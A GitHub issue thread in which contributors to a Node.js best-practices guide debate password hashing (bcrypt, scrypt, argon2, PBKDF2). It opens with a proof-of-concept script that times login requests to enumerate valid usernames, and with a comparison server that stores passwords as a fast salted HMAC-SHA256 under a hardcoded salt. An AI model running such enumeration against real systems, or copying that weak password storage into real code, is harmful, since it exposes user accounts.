Nodebestpractices: 6.8 Feasibility of time-based database brute-force attacks on websites

[bmsdave]

In the recomendation

Avoid using the Node.js crypto library for handling passwords, use Bcrypt

Here is not mentioned the possibility of a timing attack if not handled properly bcrypt.

For example:

server.js

const express = require('express');
const bodyParser = require('body-parser');
const sql = require("sqlite3").verbose();
const bcrypt = require('bcrypt');

const initConn = (sqlite3) => {
    const conn = new sqlite3.Database('db/users.db', (err) => {
        if (err) {
            console.log('Could not connect to database', err)
        } else {
            console.log('Connected to database')
        }
    });
    return conn;
}

const initTable = (conn) => {
    conn.serialize(function () {
        conn.run("CREATE TABLE IF NOT EXISTS users (login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)");
    });
}

const deleteUser = (db, login) => {
    db.serialize(() => {
        db.run(`DELETE FROM users WHERE login = $login;`, {
            $login: login
        })
    })
}

const createUser = (db, login, password) => {
    db.serialize(() => {
        db.run(`INSERT INTO users (login, password) VALUES ($login, $password);`, {
            $login: login,
            $password: password
        })
    })
}

const conn = initConn(sql);
initTable(conn);

// asynchronously generate a secure password using 10 hashing rounds
bcrypt.hash("whatthefoxsay", 10, function (err, hash) {
    // Store secure hash in user record
    deleteUser(conn, 'v7')
    createUser(conn, 'v7', hash)
});

const app = express();
app.use(bodyParser.json());

app.post('/api/v1/login', (req, res) => {
    conn.all(`
        SELECT rowid AS id, login, password
           FROM users
            WHERE login = $login
        `, {
            $login: req.body.login
        },
        function (err, rows) {
            if (err) {
                res.send(err.message);
            } else {
                let loginFlag = false
                if (rows && rows.length > 0) {
                    // compare a provided password input with saved hash
                    bcrypt.compare(req.body.password, rows[0].password, function (err, match) {
                        res.send(match ? 'logged in' : 'bad news');
                    });
                } else {
                    res.send(loginFlag ? 'logged in' : 'bad news');
                }
            }
        })
})

app.listen(3030, () => {
    console.log('start');
})

attacker.js

const request = require('request');

const sendRequest = function (login, password) {
    const result = {
        login,
        password
    }
    const promise = new Promise(function (res, rej) {
        result.start = Date.now(),
            request.post(
                'http://127.0.0.1:3030/api/v1/login',
                { json: { login, password } },
                function (error, response, body) {
                    if (!error && response.statusCode == 200) {
                        result.end = Date.now();
                        res(result);
                    }
                }
            );
    })
    return promise;
}

function makePassword(length) {
    var text = "";
    var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";

    for (var i = 0; i < length; i++)
      text += possible.charAt(Math.floor(Math.random() * possible.length));

    return text;
  }

const run = async () => {
    const responseArray = []
    for (let i = 0; i < 20; i++) {
        const res = await sendRequest((i % 2 === 0) ? "v7" : "v7_wrong", makePassword(8))
        responseArray.push(res);
    }
    return responseArray
}

run().then((responseArray) => {
    responseArray.map((response) => {
        console.log(response.login, response.end - response.start)
    })
})

If we run the server.js and the attacker.js, we'll get:

$ node ./attacker.js 
v7 89
v7_wrong 3
v7 74
v7_wrong 2
v7 74
v7_wrong 2
v7 75
v7_wrong 2
v7 75
v7_wrong 1
v7 75
v7_wrong 2
v7 74
v7_wrong 1
v7 75
v7_wrong 2
v7 75
v7_wrong 2
v7 76
v7_wrong 2

That allows us to brute force to know the logins that are in the database.

Crypto module behaves much better in this case.

If we change server like this:

server_with_crypto.js

const express = require('express');
const bodyParser = require('body-parser');
const sql = require("sqlite3").verbose();
const bcrypt = require('bcrypt');

const initConn = (sqlite3) => {
    const conn = new sqlite3.Database('db/users.db', (err) => {
        if (err) {
            console.log('Could not connect to database', err)
        } else {
            console.log('Connected to database')
        }
    });
    return conn;
}

const initTable = (conn) => {
    conn.serialize(function () {
        conn.run("CREATE TABLE IF NOT EXISTS users (login TEXT NOT NULL UNIQUE, password TEXT NOT NULL)");
    });
}

const deleteUser = (db, login) => {
    db.serialize(() => {
        db.run(`DELETE FROM users WHERE login = $login;`, {
            $login: login
        })
    })
}

const createUser = (db, login, password) => {
    db.serialize(() => {
        db.run(`INSERT INTO users (login, password) VALUES ($login, $password);`, {
            $login: login,
            $password: password
        })
    })
}

const conn = initConn(sql);
initTable(conn);

const crypto = require('crypto');
const getFuncSHA256Salt = (salt) => {
    return (password) => {
        var hash = crypto.createHmac('sha256', salt);
        hash.update(password);
        var value = hash.digest('hex');
        return value;
    }
};
const cryptoSHA256Salt = getFuncSHA256Salt("HVHSNrRWpP1ZSR4bnjXpiHCS1ENYcUuHO")

deleteUser(conn, 'v7')
createUser(conn, 'v7', cryptoSHA256Salt("whatthefoxsay"))

const app = express();
app.use(bodyParser.json());

app.post('/api/v1/login', (req, res) => {
    conn.all(`
        SELECT rowid AS id, login, password
           FROM users
            WHERE login = $login
        `, {
            $login: req.body.login
        },
        function (err, rows) {
            if (err) {
                res.send(err.message);
            } else {
                let loginFlag = false
                if (rows && rows.length > 0) {
                    res.send( (cryptoSHA256Salt(req.body.password) === rows[0].password) ? 'logged in' : 'bad news' )
                } else {
                    res.send(loginFlag ? 'logged in' : 'bad news');
                }
            }
        })
})

app.listen(3030, () => {
    console.log('start');
})

We'll get:

$ node ./attacker.js 
v7 16
v7_wrong 3
v7 2
v7_wrong 2
v7 2
v7_wrong 2
v7 2
v7_wrong 2
v7 2
v7_wrong 2
v7 1
v7_wrong 1
v7 2
v7_wrong 2
v7 2
v7_wrong 1
v7 2
v7_wrong 2
v7 1
v7_wrong 1

summary:

I believe it is important to mention this point and bring good practice of using bcrypt in authentication, since it is cited as the best alternative to crypto

[bmsdave]

@lirantal and @ryzokuken
What do you think about this?

[bmsdave]

In addition, I think we should use the standard node.js libraries.
if we think bcrypt is better, why don't we suggest changes to crypto.js, so we can use it?

[ryzokuken]

I think using scrypt is a more secure option for password-based key derivation than using an HMAC but the suggestion stands: use the core module, it's always more secure than userland (if it isn't, let us know on the issue tracker 😉).

[goldbergyoni]

@bmsdave Welcome aboard.

Interesting and challenging topic, I remember when we wrote this piece of advice we checked the recommendations of most security institute and picked bcrypt not because he was the most secured one rather becuase he one top 3 in all list and the most popular one with very mature and maintained implementation.

To what 'crypto' algo do you refer specifically as an alternative?

@js-kyle Do you to handle this, me, together?

[alinaugustin]

I am sorry but this is not a room chat.

On Sat, Jan 19, 2019 at 7:02 PM Yoni Goldberg [e-mail]
wrote:

@bmsdave https://github.com/bmsdave Welcome aboard.

Interesting and challenging topic, I remember when we wrote this piece of
advice we checked the recommendations of most security institute and picked
bcrypt not because he was the most secured one rather becuase he one top 3
in all list and the most popular one with very mature and maintained
implementation.

To what 'crypto' algo do you refer specifically as an alternative?

@js-kyle https://github.com/js-kyle Do you to handle this, me, together?

—
You are receiving this because you are subscribed to this thread.
Reply to this email directly, view it on GitHub
https://github.com/i0natan/nodebestpractices/issues/325#issuecomment-455796851,
or mute the thread
https://github.com/notifications/unsubscribe-auth/AYOcUyZZcLw23vdOblNPhHp0FB_VVKX1ks5vE0-xgaJpZM4aILYp
.

[ryzokuken]

Hi @i0natan!

I'd say that using scrypt from the core crypto module should be one's best bet at the given point in time. Documentation for the same can be found at https://nodejs.org/api/crypto.html#crypto_crypto_scrypt_password_salt_keylen_options_callback. Let me know if you have any queries or doubts regarding the use of scrypt.

[bmsdave]

@i0natan
this week I can send a pull request with a recommendation and text. And we can further discuss the details in this task. Can I do that?

[goldbergyoni]

@ryzokuken Got it, I frankly need to go through some docs to intelligently comment on this, will share my view in few days

@bmsdave Welcome aboard. I suggest that we first discuss here and have a consent about the right recommendation. Then it could be great to have your PR. Do you have any specific view on this topic or basically agree with @ryzokuken ?

[lirantal]

@bmsdave welcome and appreciate your input on this.
that example doesn't show any weakness in bcrypt but rather the logic flow of the app being perhaps the culprit. bcrypt as an algorithm has been battle tested for the past 20 years and is considered safe (until proven otherwise).

With that said, choosing scrypt over bcrypt for the sake of being API-complete with the built-ins in Node.js is a good discussiont o have. The crypto WG has been working quite a bit on improvements in that area and we can check into considering if that's a good advise now-days or not, but where-as bcrypt is a native module we can build into older Node.js version, choosing scrypt might mean that we are excluding users of older Node.js versions.

[ryzokuken]

@lirantal exactly my point. I keep scrypt over bcrypt just for the sake of keeping close to the core module, since AFAIK, there's no theoretical weakness in bcrypt.

we are excluding users of older Node.js versions.

Fair point, but since it was a semver-minor, IMO it must have landed on all currently supported versions for Node.js?

[goldbergyoni]

Thank you all for participating in this interesting discussion.

Frankly, my cryptographic understanding is not deep enough to technically vote for one or another. Both scrypt, bcrypt and argon seem to be recommended by reputable groups and the weaknesses of each seem like nitty-gritty corner cases that matter in a specific context. I also don't see a strong reason to favor one over the others because it's built-in - well-maintained packages (like bcrypt) can hold high standards like the node core and relying on 3rd party code (99%?) is the reality for most Node apps. Another reason not to recommend a single winner is compliance - US enterprises for examples are often obligated to conform to FIPS/NIST recommendation which is currently PBKDF2.

Given that, I suggest recommending two or four based on the user context. Pasting from OWASP's recommendation though I would edit the text a bit to comply with the Node's eco-system:

Argon2[7] is the winner of the password hashing competition and should be considered as your first choice for new applications;
PBKDF2 [4] when FIPS certification or enterprise support on many platforms is required;
scrypt [*5] where resisting any/all hardware accelerated attacks is necessary but support isn’t.
bcrypt where PBKDF2 or scrypt support is not available.

[ryzokuken]

FWIW, PBKDF2 is also exposed via the crypto module, further strengthening my case.

relying on 3rd party code (99%?) is the reality for most Node apps

While what you say is very true, I'd like to make a special case for cryptography. I don't think it's a great practice to rely on third-party code so much for cryptography, especially in light of the recent controversy surrounding the security (or the lack thereof) of the ecosystem.

[lirantal]

Please please, I want to urge you to not try and dabble in adventures regarding security "bleeding edge" features, or making choices for the wrong reasons (compatible with Node.js apis). This is exactly the place where you don't want to be creative :-)

I'll point out some references to put some context into this discussion:

• PHP (since version 5.5.0) has bcrypt set as the default password hashing algorithm. Before you dismiss PHP in flame wars and language battles, remember that PHP has been "around the block" longer than Node.js has.
• There has been some discussion started already on how to improve Node.js's crypto and password hashing APIs (see https://github.com/nodejs/node/issues/21766) which still awaits work and discusses how current hashing APIs can be easily used in the wrong way.
• To give an example of why this is not a straight-forward thing to tackle - @i0natan mentioned argon2 as a winner of some contest and first on the list of OWASP, but the argon2 algorithm has actually several different variations but do you know which one exactly is optimal for use-cases such as key-derivation functions? I may be wrong but I assume most people on this thread atm does not, and even if you did, how could we maintain safe APIs so that prior education won't be a requirement?

This is not to say that one algorithm is superior over another. For example, argon2 may be the modern alternative to replace others that have been mentioned on this thread, but rather to say that I wouldn't drop everything and rush myself to use it just because it's "modern", or because it won a competition.

TL;DR For the time being and until we learn of better reasons to adopt other password hashing functions I'd keep using bcrypt which has been battle-tested for 2 decades now with no known vulnerabilities, or PBKDF if needed for compliance reasons.

[ryzokuken]

There has been some discussion started already on how to improve Node.js's crypto and password hashing APIs (see nodejs/node#21766) which still awaits work and discusses how current hashing APIs can be easily used in the wrong way.

❤️ that you pointed that out. I'm tackling all similar problems right now with https://github.com/ryzokuken/easy-crypto.

[goldbergyoni]

@lirantal

TL;DR For the time being and until we learn of better reasons to adopt other password hashing functions I'd keep using bcrypt which has been battle-tested for 2 decades now with no known vulnerabilities, or PBKDF if needed for compliance reasons.

That conservative, less-opinionated, approach resonates with me. Given that, why not include also scrypt in the list and let the user choose?

[ryzokuken]

@i0natan sounds fair. Better than skipping scrypt out, honestly.

For the record, I think the two might just be equivalent security-wise, but I'd personally recommend scrypt over bcrypt just for the sake of using a core API method as opposed to using an npm package since that's generally a much better practice.

[lirantal]

That conservative, less-opinionated, approach resonates with me. Given that, why not include also scrypt in the list and let the user choose?

I'll try my best to explain more about it. scrypt is superior to bcrypt in the way it's tied to a memory resource as well as a cpu resource (bcrypt is mainly just cpu), thus requiring more resources for the attacker. However, if you are generating or comparing a password, it's not necessarily an easy thing to let it run for 20 seconds to do that due to the nature of web concurrency and such. Due to that, you end up lowering the iteration count. When you do that however, scrypt's memory and cpu utilization are tied together and you end up stripping away the memory hardening that scrypt was superior for. This is not to take from scrypt being a good choice but why I'd not make that choice just because it is available as a core API.

Side note, both Auth0 and Dropbox mentioned they use bcrypt to safeguard their user's passwords. Probably many others too. It actually occurred to me now that I don't know of anyone who uses scrypt so if you know I'd be happy to learn about it.

[goldbergyoni]

@lirantal Great explanation. Based on all the feedback here, it seems that both bcrypt, scrypt and PBKDF are reputable enough to be recommended. If no obligations, I'll PR the change (or if anyone else here like to - please do)

[ryzokuken]

@i0natan +1. Perhaps @bmsdave would like to make the change?

Thanks @lirantal for your expertise and @bmsdave for taking the initiative.

[bmsdave]

@i0natan if possible, I'd like to prepare a PR for this weekend.
Thank you all for this discussion!

[goldbergyoni]

@i0natan if possible, I'd like to prepare a PR for this weekend.

That would be our honor. Just glimpse through our content writing guideliness before

[josh-hemphill]

Anyone create the PR yet? I'd be happy to put something together, just want to make sure no one is already working on it.

[ryzokuken]

@josh-hemphill please go for it!